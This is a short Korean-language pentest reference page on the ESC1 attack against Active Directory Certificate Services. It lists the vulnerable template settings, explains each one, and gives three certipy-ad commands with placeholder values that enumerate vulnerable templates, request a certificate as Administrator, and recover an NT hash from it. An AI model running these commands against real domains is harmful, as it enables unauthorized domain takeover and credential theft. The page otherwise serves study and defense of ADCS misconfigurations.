ESC1

ESC1은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

속성

Enrollee Supplies Subject

True

Requires Manager Approval

False

Authorized Signatures Required

0

Enrollment Rights

공격자가 컨트롤 가능한 객체 이하의 권한

Abuse

UNIX
# 취약한 템플릿 열거
certipy-ad find -u '<username>' -p '<password>' -dc-ip '<dc-ip>' -vulnerable -stdout -enabled

# 템플릿을 통한 인증서 발급
certipy-ad req -u '<username>' -p '<password>' -dc-ip '<dc-ip>' -ca '<ca-name>' -template '<template-name>' -upn Administrator -target '<ca-fqdn>' -key-size 4096 -sid '<sid>'

# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx '<pfx>' -dc-ip '<dc-ip>'

Root Cause

Enrollee Supplies Subject

이 속성을 활성화하면 인증서를 요청하는 주체는 요청 주체의 이름을 변경할 수 있습니다.

Enrollee Supplies Subject

Enrollment Rights

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

Enrollment Rights

Requires Manager Approval & Authorized Signatures Required

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다. 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

circle-info

This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 1로 설정하는 경우가 많습니다.

References

Last updated